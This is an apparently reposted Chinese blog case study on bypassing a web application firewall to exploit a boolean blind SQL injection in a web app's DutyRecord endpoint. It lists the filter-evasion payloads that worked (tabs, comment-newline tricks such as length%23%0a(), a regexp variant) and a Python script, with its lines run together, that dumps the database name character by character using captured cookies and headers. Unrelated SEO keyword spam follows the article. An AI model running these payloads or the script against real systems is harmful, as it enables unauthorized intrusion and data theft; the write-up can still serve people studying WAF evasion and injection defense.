千家信息网

如何解析SQL的bypass案例分析

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。一、测试发现一个布尔型注入点,测试过程如下:1、原始请求2、输入'or'1'l
千家信息网最后更新 2026年11月01日如何解析SQL的bypass案例分析

这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

一、测试发现一个布尔型注入点,测试过程如下:

1、原始请求

2、输入'or'1'like'1

3、输入'or'1'like'2

4、初步判断存在布尔型sql盲注,然后开始判断库名长度:

5、首先想到可能处理了空格,手工简单测试下:

6、发现:

空格or(不拦截)

or空格(拦截)

or/**/(拦截)

or%09 %0a %0d(不拦截)

二、简单fuzz下字符:

1、or (偶数个~) 也可以bypass

2、奇数个~执行失败:

3、进一步获取库名长度:

4、还是被拦截,猜测是处理了length()或database()函数,简单尝试下:

5、length()被处理掉了,fuzz一下:

6、利用注释换行符组合如length%23%0a()即可绕过:

7、这里还是报错,简单测试了下,把空格键换一下即可解决:

8、继续判断库名长度:

9、database()也被处理掉了,同样的方法可绕过:

10、最终得出数据库长度为7,如下图:

11、获取库名

12、substr未拦截,借助intruder跑一下:

注出第一个字符为l

三、写个脚本拖一下完整库名:

import requests
payloads = 'abcdefghijklmnopqrstuvwxyz_-'database = ''for l in range(1,8): for payload in payloads: burp0_url = "https://xxxxxx.xxxxxxxx.com:443/dms.web/manage/rest/basedata/DutyRecord?sort=EMPLOYEE_NO&order=asc&limit=10&offset=0®isterDate=2020-08-19'or%09substr(database%23%0a(),{0},1)%3d'{1}'%09or'1'like'2&employeeNo=0222&onDutyTime=08%3A00&offDutyTime=17%3A00&usableWorkingHours=9.0&dms_table=%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D&dmsFuncId=15100070&_=1597802235462".format(l,payload) burp0_cookies = {"JSESSIONID": "ABCWB37FFE3DB54BD5705453E681E41F2", "selectDealerCode": "xxxx", "selectusername": "xxxx", "language": "zh_CN"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "https://xxxxxx.yxxxxuxuxo.xxm/dms.web/html/index.html"} resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) if "2018-10-22" in resp.content: database += payload print '[*]success\t' + database else: print '[*]dumping......'print '[*]current database is:\t' + database

借助regexp正则匹配也可以实现,payload:

'%20or%0adatabase%23%0a()regexp'%5el'%09or%09'2'like'1

成功注出第一个字符:l,以此类推。

关于如何解析SQL的bypass案例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

空格 长度 处理 测试 字符 案例 案例分析 分析 内容 布尔 更多 还是 帮助 输入 不错 原始 成功 以此类推 偶数 兴趣 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 为想互联网科技 互联网科技股票 互联网金融科技平台 深圳期待互联网科技 四川狮子座互联网科技 卓越科技互联网 招聘 科技赋能互联网健康 剑昆互联网络科技有限公司临桂 岳阳华臻互联网科技有限公司 速维有品互联网信息科技(苏州)有限公司 国大互联网教育科技有限公司工作 明优互联网科技有限公司 国大互联网教育科技有限公司薪资 众安科技工业互联网合作 高科技互联网套路 中国新注册互联网科技 唯美互联网科技 上海旺乐尼互联网科技有限公司 科技美学互联网 艺术 科技发展第三阶段互联网时代 湖北九亚互联网络科技有限公司 安徽鑫晟辉互联网科技 上游互联网科技 滨湖区互联网智能科技产品供应 衡水科技产业互联网平台 现代互联网科技股 互联网金融科技公司干啥的 燊美集互联网科技有限公司 深圳艾果互联网通讯科技 富国互联网金融科技混合基金
0